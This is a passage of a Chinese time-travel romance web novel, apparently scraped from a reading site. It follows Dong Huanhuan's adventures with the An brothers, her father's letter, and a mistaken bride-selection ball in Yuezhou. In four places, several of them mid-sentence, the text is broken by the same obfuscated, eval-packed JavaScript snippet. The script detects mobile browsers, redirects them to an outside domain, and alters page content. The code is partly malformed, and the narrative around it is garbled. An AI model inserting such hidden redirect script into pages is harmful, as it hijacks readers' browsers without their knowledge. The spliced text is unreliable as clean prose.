董浣浣还是第一次亲眼看到这样的场景,一时间被吓着了,没想到因为她的一句话,有些人可能会因此丧命,赶忙伸手去扶单良想让他起来。 单良此时哪敢起身,董浣浣无奈,示意安齐平适可而止。 安齐平领会,对单良说不追究他了,让单良起身出去。 单良起身感恩的看了一眼董浣浣,迅速闪出门外。 董浣浣有些惭愧的看了他一眼,明明是她给他惹来的“杀身之祸”,到头来他得以保命居然还要对她感激涕零。 安齐平重新从棋盒里拿出一颗黑子置于棋盘上:“这样,你是不是就无路可走了。” 董浣浣重新落座把信放在一边看了一眼棋盘然后执起白子放在棋盘上:“这样,我就活了,你就无路可走了。” 安齐平气急败坏的把棋盘一掀:“我不玩了。” 以前看穿越电视剧的时候,董浣浣就有想过如果让她穿越了她可以凭借什么本事在古代扬名立万,想到最后的结果是她什么本事也没有,然后感叹一句:同样是二十一世纪的好青年,穿越后差距怎么就那么大呢。 现在想来董浣浣觉得她也不是一无是处,至少她的围棋水平足够虐安齐平两个来回的了。机会都是留给有准备的人的,果然她以前通宵和电脑下棋的功夫没有白费。 董浣浣悠哉悠哉的把棋盘摆正,然后把掉落的棋子区分黑白然后放到不同的棋盒里。 抬头看向一旁生闷气的安齐平挑衅道:“再来一盘?” 安齐平虽然还在生气,到底还是接过了董浣浣递过来的棋盒并且先下了一子:“我哥喜欢你,我棋又输给你,你让我称呼你一声浣浣姐,我认了。” 听到安齐平的话,董浣浣差点让自己来不及咽下去的唾液噎死,那天她还在“嫌弃”安齐修的表白太委婉,还想说怎么古人都这么含蓄的,现在看来只是安齐修比较含蓄而已,这安齐平可是直白的够可以的,董浣浣忍不住吐槽:同样是兄弟,差距怎么就那么大呢。 安齐平抬头盯向董浣浣:“但是我警告你,你以后不准在外边随随便便认一些哥哥弟弟姐姐妹妹的,我决不允许出现一些阿猫阿狗来我这里和我称兄道弟。” 董浣浣被他盯的有些发毛,连忙点头保证绝不随便与人结交,绝不随便与人称兄道弟。 然后在心里翻了个白眼默默的吐槽:这个阶级不等的世道呦,连这么小的孩子都有这么强烈的等级观念,想要交个朋友怎么就这么难。 安齐平听到她的保证满意的点了点头,然后又有点幸灾乐祸的开口:“不过以你的身份,想要嫁给我哥恐怕会很难哟。” 董浣浣刚想反驳说,他又不是皇帝老儿,有什么好难嫁的,但是想想刚才的“祸从口出”,生生的忍住了。 董浣浣头凑向安齐平那边,好奇的打听:“说到你哥,你哥今天去干什么去啦?” 安齐平不为所动,目光紧紧的落在棋盘上:“能告诉你的,我哥都会告诉你。不能告诉你的,你问我也没用。” 董浣浣心里怒摔桌,这回答的等于没说。 又陪安齐平下完一盘棋,董浣浣才得以回自己房间去看信,当然棋局还是以安齐平的掀桌告终。 回到房里,紫鸢已经早早的备好了糕点等她,董浣浣吃了几口就吃不下去了,安齐修今天一早出门去了,也没人带她出去玩,她现在好像已经习惯于安齐修的安排了,今天安齐修自己出门了,她居然不知道该去哪里玩,无奈的洗漱了一下,躺在床上准备睡午觉。 董浣浣躺在床上,随手拿起刚才单良给她送过来的信,才想起来刚才忘了问单良他家少爷去哪里了,不过想想连安齐平都不敢说的事,单良肯定更不敢说了,问了也是白问。 董浣浣把信上下翻看了一下,正反都没有写一个字,如果不是单良说这是她的信,她是铁定不会拆的。 董浣浣把信封拆开,里面还有一个信封上边写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815829|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一行字:吾女浣儿亲启,父字。 董浣浣觉得如果她现在在吃瓜,肯定瓜都被吓掉了。 董浣浣腾地一下从床上坐起来。 这是一封来自于她家阿玛的家书! 董浣浣感叹,她家阿玛真是神通广大,莫不是在她身上安装了定位器,她都离开永州三天了,本以为早就离开她家阿玛的势力范围,天高皇帝远了,没想到终究还是孙悟空逃不出五指山。 董浣浣来不及拆开信来看内容,赶紧通知紫鸢收拾行李,她家阿玛来抓人了,她们要赶紧撤了。她则拿着信去问单良,他是从谁手里收到的信,做到知己知彼,誓要为自由与阿玛斗智斗勇到底。 董浣浣慌慌张张的跑到隔壁客房,正巧和从外面回来的安齐修撞了个满怀。 安齐修扶稳她后轻声问:“怎么慌慌张张的,出了什么事?” 董浣浣也不和他客套了举着信:“单良呢,单良呢,我想问一下他是从哪里得到的这封信?” 安齐修抓着她举起信的那只手看了一下,开口道:“信,有什么问题吗?” 听到这话董浣浣拼命点头:“问题大了,生死攸关的大事。” 安齐修笑了一下劝她别着急,牵着她进屋,唤来单良询问。 单良闻声赶来,在董浣浣问他是谁把信给他的时候,看了一眼自家少爷的表情。 安齐修眼神示意他按照早上吩咐他的话说。 单良会意:“我早上出门的时候一个送信的小孩给我的。” 董浣浣连珠炮似的提问:“小孩,长得什么样的小孩,他送完信去哪里了?” 本来就不存在的小孩,他怎么可能知道那孩子长什么样,又去了哪里,单良低下头答道:“奴才不知。” 董浣浣无奈的低下了头,深深的叹了一口气,看样子是找不到送信的人了。 看到她这个样子,安齐修佯装好奇的问她:“什么信这么重要,这么生死攸关,连送信的小孩的长相,去处,你都想知晓?” 董浣浣抬起垂下去的头看了安齐修一眼:“现在的情形我也不瞒你了,我是离家出走,闯荡江湖的,看到了没”,董浣浣举起手中的信:“这就是我家爹爹抓我回去给我提前发的告示。” 安齐修笑着安抚她:“在这个世道,出来闯荡江湖的十个里有九个是离家出走的。至于信,从何处来并不重要,信的内容才是重点。你连信封都没有拆开怎么知道是你爹爹来抓你了?” 经他提醒,董浣浣才后知后觉的发现,她只看了一眼信封就被吓得如惊弓之鸟般乱窜,居然都没有拆过信看过里面的内容。 慌忙拆开信封看信。 单良看着董浣浣,心里默默的为他家主子忽悠人的功夫称赞,同时又有点期待,如果董鄂小姐知道她家阿玛就在隔壁客栈,那封家书是他家主子从董鄂大人那里直接取来的,不知道会是什么样的反应。 此时身处隔壁客栈的董鄂.鄂硕一脸愁云,他这可怜的女儿,刚从阎王殿捡了条命回来,这又被主上看中了,眼看着一只脚又踏入了修罗场,而他这个做阿玛的却只能眼睁睁的看着,什么都做不了。 而另一边董浣浣并不知道她家阿玛心中的无奈,看完信后大喜,不由得感叹:她家阿玛简直是这个世界上,最伟大的爹! 5. 古人也爱吃 董浣浣本来以为在这个时代,她一个“大家闺秀”想要自由,一定是要经过无数次的反抗才能实现的。 没想到已经追踪到她们行踪的她家阿玛居然没有选择把她们抓回去关起来,而是遣人给她送了一封信。 信上允诺她可以在外面闯荡半年,但要注意安全,不能只身犯险,并且还在城中的“瑞丰”当铺给她存了些珠宝,让她及时去取以备不时之需。 董浣浣刚看到信的内容,简直不敢相信自己的眼睛,她就这样简单的获得了半年的自由时光,不用实践三十六计与阿玛斗智斗勇? 在这个封建的时代里居然还有这样开明又宠女儿的爹。 这到底是什么神仙阿玛。 她终于可以心安理得又光明正大的走在大街上,不用担心她家阿玛的人马会突然从哪个角落里窜出来把她抓回去。 董浣浣感动的“泪流满面”。 不过为了防止她家阿玛反悔,董浣浣和安齐修商量了一下,还是决定连夜启程离开长沙。 他们坐了三天三夜的车,一路颠簸,终于到达了岳州地界。 刚到岳州,在客栈安顿下来吃过饭之后董浣浣就迫不及待的拉着紫鸢,安齐修,安齐平他们一起去街上逛逛。 走在岳州的街道上,呼吸着自由的空气,董浣浣哼着小曲,一扫这几天赶路时的疲态,顿时觉得神清气爽。 几人跟随着董浣浣的脚步在一个卖糖葫芦的老伯的摊位面前停住脚步。 摊位摆在一个很僻静的地方,董浣浣一直以为古代卖糖葫芦的都是和电视剧里面一样扛着一个插满糖葫芦的木棍走在城市里最繁华的商业街上大声吆喝着的,之前她见到的卖糖葫芦的也大多是这样的,没想到还有专门摆个摊位卖糖葫芦的。 走进店里,董浣浣环顾了一下四周,店面干净整洁,柜台上挂着一块板儿,上面写着:兼卖茶水,店里有三张桌子,几个椅子。 六人分别坐成了两桌,董浣浣,安齐修,安齐平一桌,紫鸢,单良,和安齐平的随从刘全坐在了另外一桌。 屋里的老妇闻声撩起门帘往外面看了一眼,她很久没有看到这么多的客人了,笑吟吟的赶忙从柜台上拿起一壶新温好的茶出来,上前边擦桌子给他们倒水,然后招呼他们喝水。 他们要了六串糖葫芦,和一壶龙井。 等待的空档,董浣浣感觉有些无聊,拉着紫鸢走到灶前和卖糖葫芦的老伯攀谈起来。 很快安齐平也围了过来,董浣浣看了他一眼笑了一下,心想:天天装大人,一到凑热闹的时候小孩的本质就暴露无遗了。 卖糖葫芦的老伯慈眉善目的人很健谈,和董浣浣说起了他家店铺的由来,年轻的时候他也是其他卖糖葫芦的一样走街窜巷饥一顿饱一顿的卖糖葫芦,现在年龄大了走不动了,但又是个闲不下的人,儿子孝顺为了他的身体着想给他开了这样的一个小店,一来,可以满足他老有所用的愿望,二来,可以省去他到处奔波的辛劳,三来,也能让来往的行人多一个歇脚的地方。 董浣浣看着老伯熟练的将山楂去蒂洗净穿串,把白糖加热熬成糖浆,然后把山楂串往糖浆里一裹,收起放在旁边的盘子里晾凉,复又同样的步骤接着做下一串。 董浣浣拍了一下安齐平的肩膀:“怎么样,小少爷,没见过吧?” 安齐平鼻子里哼了一声不理她,继续瞪着眼珠看向锅里冒泡的糖浆。 董浣浣也不管他,拿起摆在一边的山楂问:“老伯,你家糖葫芦只有山楂一种馅儿吗?” 老伯笑着回她:“对,姑娘是想吃其他什么馅儿的吗,这个时节没有葡萄了,山药,豆沙和核桃仁倒是可以,我叫老婆子去买。” 老妇听见自己家老头的话,凑过来笑盈盈的点头附和:“姑娘想吃啥,我这去买。” 安齐平逮着机会挤兑董浣浣:“哼,有些人就是事多。” 董浣浣以前看电视所有的糖葫芦都是山楂馅的,以为古代只有山楂馅的糖葫芦呢,所以才会这样问,她还想说给老伯出出主意弄点不一样的,可以多招揽一些生意,没想到我们伟大的先人也都是吃货,根本没给她发挥现代人智慧的余地。 听了老伯和大娘的话,董浣浣忙摆手,然后指着那些晾凉的糖葫芦说:“不用,不用,我吃这个就好。” 回答完老伯的话之后,董浣浣看向安齐平戏弄他道:“你事多我知道,不必刻意强调。” 安齐平气,刚想反驳她就听见坐在里面那张桌子的安齐修喊了他一声:“齐平。” 安齐平心里更气了,狠狠的瞪了一眼董浣浣有些人就是会仗势欺人,等他哥不在的时候,看他怎么挤兑她。 董浣浣现在没空思考安齐平在想什么,她现在只想帮这么和善的老伯和大娘提高些收入,她思索了半天,毕竟她一个外行指导人家做生意怎么说也是挺没礼貌的,小心翼翼斟酌着张口给老伯提了一下她的建议:“老伯,你以后可以试试把山楂球拍扁了再裹上糖浆会更入味,还有也可以用一些李子、杏仁、桃子等当季的水果做馅,增加一下客人选择的种类,生意可能会更好一些。” 老伯听到她这话,笑呵呵的说好。 得到肯定后,董浣浣得意的看向安齐平,又换来他的一个白眼。 六串新鲜出炉的糖葫芦被端上了桌。 董浣浣给他们每人手里发了一只糖葫芦,安齐修接过她递过来的糖葫芦,笑着让单良付钱。 不料,董浣浣站起来“豪迈”随手一挥:“不用,今天我高兴,我来付钱。” 安齐修伸手附在她掏钱的手上制止她,低头凑向她耳边轻声道:“你给的金子太大了,老人家找不开。还有,出门在外,切记财不外露,懂了吗?”,董浣浣听话的点点头。安齐修冲她笑了一下表示满意,然后抬头示意单良付钱。 单良应声掏了一枚碎银子递给卖糖葫芦的老伯。 安齐修笑着看向卖糖葫芦的老伯道:“不用找了。” 董浣浣默默的缩回被安齐修牵着的那只手,乖乖的吃着到手的糖葫芦,一切都是那样的正常,只是为什么她的脸为什么会莫名的有点热,心跳也加速了不少。 卖糖葫芦的老伯推拒了几次说用不了这么多钱几个铜板就好,无奈安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815830|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐修坚持要付钱又没有铜板,老伯看他态度坚决诚恳,无奈的把钱收了。收过钱之后,又送了他们六串糖葫芦,其中三串是按照之前董浣给他的提议拍扁了做的。 几人吃完一串糖葫芦,包起剩下的糖葫芦准备离开。 看着他们要走,老伯赶忙走过来送:“你们是外地来的,可能不知道今天城东李员外的掌上明珠在鼎香楼抛绣球招婿,既然姑娘这么爱热闹,你们不去凑凑热闹吗?” 董浣浣:“抛绣球招婿?” 老伯点头:“半个岳州城的人都去看热闹了。” 董浣浣一听来了兴致。 抛绣球招亲,这可是各大古装影视剧里必备的桥段。 能够在古代亲眼看到现实版的,简直是爽翻啦。 董浣浣征求了一下安齐修的意见,得到肯定的答复之后,在老伯的指引下,一群人向着鼎香楼进发。 路上董浣浣吃着糖葫芦哼着小曲,心里别提多美了。 董浣浣由衷的感叹:这岳州城的云怎么可以这么白,天怎么可以这么蓝,岳州的街道怎么可以这么热闹。 还有,鼎香楼上那个姑娘抛的那个绣球怎么能够做的那么精巧呢。 其实董浣浣一直不明白,抛绣球选婿的意义在哪? 有能力举办起一场抛绣球选婿活动的人家,肯定都是些非富即贵的人家,能让众多适龄男子争相抢夺,那女生也不会太丑。这样一位家庭地位不低,相貌出众的女主为什么非要靠一颗绣球来随机选择自己下半生的命运呢,依董浣浣看来,这种方式还没有包办婚姻媒妁之言靠谱。 就像此时站在鼎香楼上的那位姑娘,生的漂亮,举手投足之间,温温婉婉的,听卖糖葫芦的老伯说还是他们这里大富商的女儿,上门求亲的人肯定不在少数,怎么也比抛绣球来的靠谱呀,董浣浣看着楼下这一群跃跃欲试的抢绣球的人,真是歪瓜裂枣,良莠不齐,董浣浣暗自惋惜。 都说来的早不如来的巧,他们赶到的时候恰好是到了最重要的环节,小姐抛绣球的环节。 只见那绣球被那小姐用力的一抛,绣球直勾勾的冲着他们这个方向来了,然后半道被一群人拦住,董浣浣也顾不上吃糖葫芦了,被安齐修拉着站在外围围观,一群人你不让我我不让你的争夺着一颗绣球。 突然那颗球被一群人争抢失控,眼看着就要掉进安齐修的怀里,董浣浣手脚来不及反应,心一下提到嗓子眼里,暗呼一声不好,安齐修要做别人的上门女婿了,却见安齐修一掌把球又拍回了人群,董浣浣的心又回到肚子里去了。 董浣浣深吸了口气,拍了拍胸脯,好险。 一口气还没完全下去,只觉眼前一黑,那颗绣球牢牢的插在了她的糖葫芦的最顶端。 所有人都停住了,看向她。 台上的女方父亲当即宣布,签插绣球的这位后生即是他家招赘的女婿。 董浣浣欲哭无泪,为什么她出门前要换成男装,为什么这时候大家看不出她是女的了? 安齐平抓住机会,及时补刀:“有人自己还未出阁,就要先做别人家的上门女婿喽!” 6. 李员外家的“女婿” 此时整个李家正厅弥漫着一股低气压,一场审判会将会在这里举行。 坐在首位的是李家的一家之主,也是董浣浣的“未来岳父”,李惟仁,这场审判会的审判者,他此刻阴沉着脸,一句话也不说。 安齐修作为董浣浣的讼师,端着一杯茶在慢慢品味,脸上的表情晦暗不明。 安齐平作为真正意义上的吃瓜群众,坐在左侧方安安静静的吃他的点心。 李家千金,李凌香,抛绣球的主人公,此次事件的“女主角”,审判会的受害人,坐在右侧,低着头小声的啜泣。 董浣浣作为此次事件的“男主角”同时也是被审判者耸拉着头坐在下方,紫鸢,单良和刘全则站在她身后。 董浣浣环视了一圈屋内的众人后,心中暗自叹气,吃瓜吃成她这样,简直前无古人后无来者。 董浣浣现在十分懊恼,都怪她大意了,忘记了在所有影视剧里围观人家抛绣球的男女主角通常都没啥好下场。 电视剧《西游记》里,唐三藏他爹接到了绣球,风光的迎娶了他娘,然后死于非命。电视剧《还珠格格》里,小燕子一行人围观抛绣球,五阿哥和尔康差点成了人家的上门女婿,电视剧《神医大道公》,四进捡了个绣球想扔都扔不掉。 多少活生生的例子摆在她的面前她还非要凑这个热闹,简直是不知死活。 “安少爷,今年贵庚,可有妻室?”,李员外开口打破了沉默,不是质问董浣浣,而是询问安齐修的情况。 董浣浣立刻意会,这李老爷是把目光转投向安齐修了。 也是,以安齐修的穿着,谈吐,明眼人一看就知道家世不俗,在她表明女儿身的身份后,李家老爷会打和她同行的安齐修的主意,一点也不令人感到意外。 安齐修言简意赅的拒绝:“家母已经定了一桩婚事。” 李惟仁看向董浣浣问:“是她吗?” 董浣浣当然知道李员外的意思了,祸是她董浣浣闯的,如果安齐修是她的未来丈夫,他把女儿嫁给安齐修做正妻,董浣浣也不能有所怨言。 安齐修摇头:“不是她。” 奈何安齐修不接盘。 “你们说现在该怎么解决?”,眼看换人无望,终于审判者又把问题拉回了正轨上。 安齐修放下茶杯:“当时情况混乱,绣球在一群人的争抢下无意的插到了我家浣儿妹妹的糖葫芦签上实属偶然,李员外你大可以和外界解释清楚,再举办一次抛绣球选婿,银两方面我们这边来负责。” “凌香,这事你怎么说。” 董浣浣听到此话,感觉有戏,只要女主角同意,她把她家阿玛给她的珠宝全都拿出来赔给她也行。 终于这事的女主角站了起来。 董浣浣看了一眼擦干眼角那滴珍珠泪的柔弱女子,全身纤弱无骨,楚楚可怜的,董浣浣顿时动了恻隐之心,心想在这个时代抛绣球招亲已经足够花光一个深闺女子所有的勇气了吧,而事后又发现她招来的竟然是一个女扮男装的未出阁的姑娘,该是一种什么样的心情,董浣浣无法体会。董浣浣愧疚的想,如果她真穿越成一个男的,遇到这事,一定娶她,对她好。 “既然绣球是被她接到了,我这辈子就是她的人了,她是男人我嫁给她,跟她一辈子,她是女子我就一辈子不嫁,为奴为婢伺候她一辈子。” 董浣浣愣住了,刚才的恻隐之心一下子烟消云散,姐妹你这是无论如何都要赖定了我的意思吗? 你爹给的台阶你不就势走下来,你还给他抬高了这么多,你家爹爹不怒了才怪。 果然,李员外看向董浣浣一转之前好说话的态度,站起身:“今天当着那么多人的面,你接到了绣球,也不和其他后生们解释你是个姑娘,现在整个岳州城的老老小小都知道我李惟仁三天后要嫁女儿。你现在让我出去说,接到我女儿绣球的人是个姑娘,这次抛绣球不算,人家会相信吗,他们只会觉得我女儿有什么见不得人的隐疾被人家退亲,我李家丢不起这个人。” 董浣浣心中反驳:当时的情况是,您也没有给我时间让我和大家解释啊,绣球刚落在签上,我还处在懵逼状态,您就直接宣布我是您的女婿,等我反应过来再去解释,您家小姐是不是更下不来台。 安齐修放下茶杯上前:“依您之见,这事该怎么解决?” 李惟仁:“我不管你们用什么办法,两天之后你们要给我一下说法,我女儿花轿前面的马上,不能没人。” 放完狠话,李惟仁心虚的看了一眼气定神闲站在旁边的安齐修,又补充道:“就是皇帝来了,也需要讲理不是。” 没办法,这个年轻人明明一直都是温言温语想办法解决问题的样子,身上却有意无意散发着令人畏惧的气场。 正在一旁默默吃点心的安齐平听见李惟仁这话,一不小心被噎住了,赶忙喝水。 李惟仁说完生气的甩手走了,留下一众人。 李家小姐紧接着含羞带怯的和众人告别,临走前还不忘深情款款的看了董浣浣一眼,被一个女生这样对待,董浣浣顿时觉得鸡皮疙瘩掉满地。 等到他们都离开了,董浣浣凑到安齐修身边问:“接下来我们该怎么办?” 安齐平站起来走到他们跟前,看热闹不嫌事大:“不是我们,是你该怎么办。浣浣姐,要不你就将就下把李家姑娘娶了吧,又不是没有这种女扮男装迎娶女娇娘的先例,实在不行,按她的要求把她带回家给你做一辈子的丫头也行。” 安齐修瞪了安齐平一眼,一脸严肃道:“安齐平!” 看了一眼他哥的表情,安齐平收回脸上的笑容,乖乖的闭嘴站在一边玩他新买的扇子。 董浣浣此时心情很复杂,安齐平难能可贵的主动的唤她一声浣浣姐,没想到居然是在这样的情形下。这也是董浣浣第一次听到,安齐修连名带姓的唤安齐平,想来是真怒了。 安齐修威喝完安齐平转头微笑的看着董浣浣伸手轻拍了一下董浣浣的头,宽慰她:“不用怕,放心吧,这件事我来帮你解决,我们先回客栈再慢慢从长计议。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815831|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >董浣浣清楚,他说从长计议的长也只有两天而已,如果两天后他们没有想到办法,她可能真的要按照安齐平的建议女扮男装的去娶李凌香了,可是当看到安齐修他那抹笃定又自信的笑容,董浣浣突然安下心来,心里有个声音悄悄的说,有他真好。 是啊,有他真好。如果没有安齐修的话,她在早在吃下去那一包苦楝树结的青果的时候,就一命呜呼了,哪还能活到今天被李员外兴师问罪。 他们走到李宅大门口的时候,被门口的四个护院拦住,说是老爷已经给他们备好了上好的厢房供他们休息。特别强调除了“姑爷”董浣浣为了婚礼事宜不宜外出,其他人可以自由出入李府。说完后其中一个护院自告奋勇的说他来给贵客引路。董浣浣明白这句话的含义,明面上说是为了款待他们,实际上却是为了限制她的自由,怕她跑了。 听到这话安齐修也不恼,笑着感谢护院的引路。 董浣浣和安齐平他们随后跟上。 次日,清晨。 董浣浣早早的起床,换上一身轻便的装束准备练习一下骑马。 昨天她询问了一下李家的管家,知道李家后院有一个马场,虽然她相信安齐修肯定能帮她摆平这件事,但是为了以防万一,她觉得还是做好她女扮男装骑马走在花轿前迎娶李凌香的准备为好。 在护院的指引下董浣浣到了马场,却看到安齐修和一个身材魁伟,器宇不凡的男子坐在跑道外围的茶寮里聊天。 董浣浣走上前去,一番攀谈后了解到此人名叫邢流云现年22岁,安徽庐州人,十一岁离开家行走江湖,来岳州两年了,如今在李家马场做个驯马师。 “你很缺钱吗?” 在董浣浣的意识里,行走江湖的大侠,都是应该行踪飘忽不定,路见不平拔刀相助,然后大碗喝酒,大口吃肉。 邢流云笑着回答她不缺,并反问她,为什么会这么问。 董浣浣给他解释了一下她心中的大侠的形象。 邢流云笑着摇摇头,没说话。 董浣浣问:“既然你不缺钱,为什么还要在李家马场待着呀?” 邢流云笑着看了一眼某个方向,没说话。 董浣浣感叹,这样的江湖侠客待在马场里实属可惜。 在此期间安齐修始终安静的在一旁喝水,听他们说话,脸上挂着浅浅的笑。 董浣浣又求邢流云给她讲了一些,他这些年闯荡江湖遇到的有趣的事。 一炷香时间过后。 董浣浣感叹:“江湖真是太精彩了。” 听到她的感叹,安齐修这才开口:“你很喜欢江湖?” 董浣浣点头:“当然。” 安齐修愣了一下,对此不做评价,看了一下栅栏内的马儿和她说:“我带你去学骑马。” 董浣浣这才想起来她是来学骑马的,点头,跟着安齐修的脚步去挑马去了。 邢流云看着他们俩的背影轻声道:“你嘲讽我护不住自己心爱的女子,你心爱的女子你又能够守护好吗?” 7. 李代桃僵 终于还是到了李家小姐出嫁的这一天。 李宅四处张灯结彩,人人喜上眉梢,全府一派喜气洋洋的景象。 婚礼的流程正在按部就班的按照安齐修的策划一一实行。 只是令董浣浣不解的是,在安齐修的剧本里,怎么是邢流云代替她做了新郎,而她居然莫名其妙的成了邢流云的妹妹。 更令董浣浣没有想到的是,包括李员外和邢流云在内的众人,居然从了。 看着那个坐在花轿前面的马上,满面春风的和两旁的行人不断揖手答谢的邢流云,走在马后面的董浣浣胆战心惊的忍不住想,李代桃僵也就罢了,还这样招摇过市,就不怕被别人揭穿吗,不应该是她女扮男装帮邢流云接亲这样更稳妥一些吗? 董浣浣怀着无比忐忑的心情和安齐修他们陪着邢流云环城一周,完成接亲,拜堂,宴客等流程。 新郎换人了,前来祝贺的人仿佛是瞎了一般,就这样被糊弄过去了。 直到众人落座,也没人提出疑问。 一切顺利的不可思议。 直到酒过三巡后,有人这才仿佛听到了董浣浣的心声,仗着酒气张口问出了那句话:“怎么新郎和那天接绣球的年轻人不是一个人?” 董浣浣心里咯噔一下,心想,完了。 没想到站在她旁边的邢流云面色不改的拍了一下那人的肩膀。 邢流云按照安齐修给他事先安排好的说辞,然后指着站在他后边的董浣浣解释道:“当时就是在下,只是那天我家妹子恰好也在现场,不是我自夸,妹子长得标致,很容易让人记住,你可能当时首先是记住了她的脸而已,其实您仔细看,我们俩长得挺像的。” 那人听完看了一眼董浣浣的脸。 董浣浣忙献上一抹最诚挚的微笑,手掌心在默默出汗。 那人看完之后,想了一下,最后得出结论:“是挺像的,酒喝多了,对不起了,兄台。”,然后拿起桌边的酒杯自罚一杯:“祝你和凌香妹妹,琴瑟和鸣,白头偕老。” 董浣浣一颗心落地了。 陪邢流云和李凌香走过一遍过场之后,董浣浣终于可以落座了。 这一天她从早上就开始担忧的没吃饭,又忙着陪着邢流云溜大街迎亲,现在饿得就快昏过去了。 李员外给他们安排的是在厅中央的主位,安齐修坐在她左边,安齐平坐在她右边,董浣浣刚一落座,安齐平的揶揄就如约而至了:“有些人真是为了她的贪吃付出了惨痛的代价。”,还没等她反驳李员外就笑脸盈盈的过来招呼她:“浣浣侄女,这次你代替你们的双亲来参加你哥哥和小女的好日子,不要拘束,多有怠慢,水酒一杯,万望不弃。” 董浣浣心想,戏还挺足,差一点连她都信了。 和李员外一番客套,待他离开之后,董浣浣才算吃上一口热乎的饭。 安齐修看着她狼吞虎咽的模样,一边给她夹菜,一边给她倒水,一边嘱咐她:“慢点吃,慢点吃,不着急。” 董浣浣边吃边点头道谢:“谢谢。” 安齐平在旁边看的目瞪口呆的,他还是第一次看到他家九哥亲自给别人挡酒,倒水,夹菜呢。 匆匆的填饱她的胃,董浣浣这才有时间问安齐修一些事。 因为害怕别人听见,董浣浣凑到安齐修的耳边轻声问:“你是怎么说服李员外接受这样的安排,并且还要对我笑脸相向的?” 安齐修:“那天李老爷已经给了足够的暗示了,他只需要有个配的新郎迎娶他家女儿就好,而他”,安齐修看了一眼邢流云:“正合适。” 董浣浣循着安齐修的目光看过去穿着一身大红色新郎服饰的邢流云满目春风的穿梭于各类宾客之间,她好像理解了她昨天问他那些问题时他的笑而不答。 董浣浣提醒他小声点,然后接着问:“那你又是怎么说服邢流云代替我成亲的?” 安齐修学着她的样子凑到她耳边轻声说:“隔墙有耳,今晚我们回客栈再说。” 董浣浣后撤了一下看着他,有些不敢相信的问:“你是说,今天晚上我们就可以回客栈了?” 安齐修笑着回她:“不回客栈,难道你今天还想住在这里?” 董浣浣忙摆手:“不想,不想,回客栈好,回客栈好。” 联想起这些天的际遇她是真的怕了,她一分钟都不想待在这里了。 酒足饭饱之后,几人向李员外和邢流云道别,在他们的挽留声中告辞,离开了李宅。 回到客栈,董浣浣就迫不及待的找安齐修解惑。 在安齐修解释了她十几个问题之后,董浣浣终于问出了她最后一个怎么也没想明白的事情。 董浣浣:“既然是李代桃僵换了新郎,不应该动静越小越好吗,今天可是全城都知道我们换新郎了。” 安齐修笑:“他们有证据证明我们换了新郎了吗,我们就是要告诉全城的人,邢流云就是那天接到绣球的人。” 董浣浣明白了,强行洗脑,你怀疑但是你没证据证明,你就只能相信。 董浣浣感叹,多亏是在清朝这个没有手机,相机,互联网的时代,不然以那天抛绣球的轰动程度,她签插绣球的照片早就传遍整个网络了,哪有这么容易堵住悠悠众人之口。 事情告一段落,他们又在岳州玩了两天才准备出发去下一站。 临行前,邢流云和李凌香赶来,在城外的大柳树下给他们送别。 李凌香征询了安齐修的意见之后,把董浣浣拉到一边说悄悄话。 董浣浣这才知道他们之间的故事。 他们两个是在一次纸鸢大会上一见倾心的,后来邢流云就去了他们家做驯马师。李员外不是个嫌贫爱富的人,但是却不能忍受她唯一的女儿跟着一个剑客山高水远四处飘零,才想出了抛绣球招赘的主意,他们那天去的晚没有听到李员外之前的要求,就是他家的女婿绝对不能离开岳州,邢流云想过带李凌香私奔,但是一想到父亲年迈之后将无依无靠,孝顺的李凌香拒绝了。她说当她抛下绣球的那一刻,她的心都跟着冷了。 李凌香:“我以为今生都不能如愿,没想到峰回路转,因为你我又能和邢哥在一起了,在安齐修的劝说下,父亲决定成全我们,邢哥也保证即使带我出外历练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815832|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会定期回家,我再也不用在父亲和邢哥之间做选择了。” 说完她感激的拉过董浣浣的手,眼睛诚恳的看向董浣浣:“浣浣小姐,你真是我生命中的贵人!” 董浣浣心想,好吧,她以这样的方式做了一次媒人,撮合了一对苦命鸳鸯。这些天的担惊受怕,也算值了。 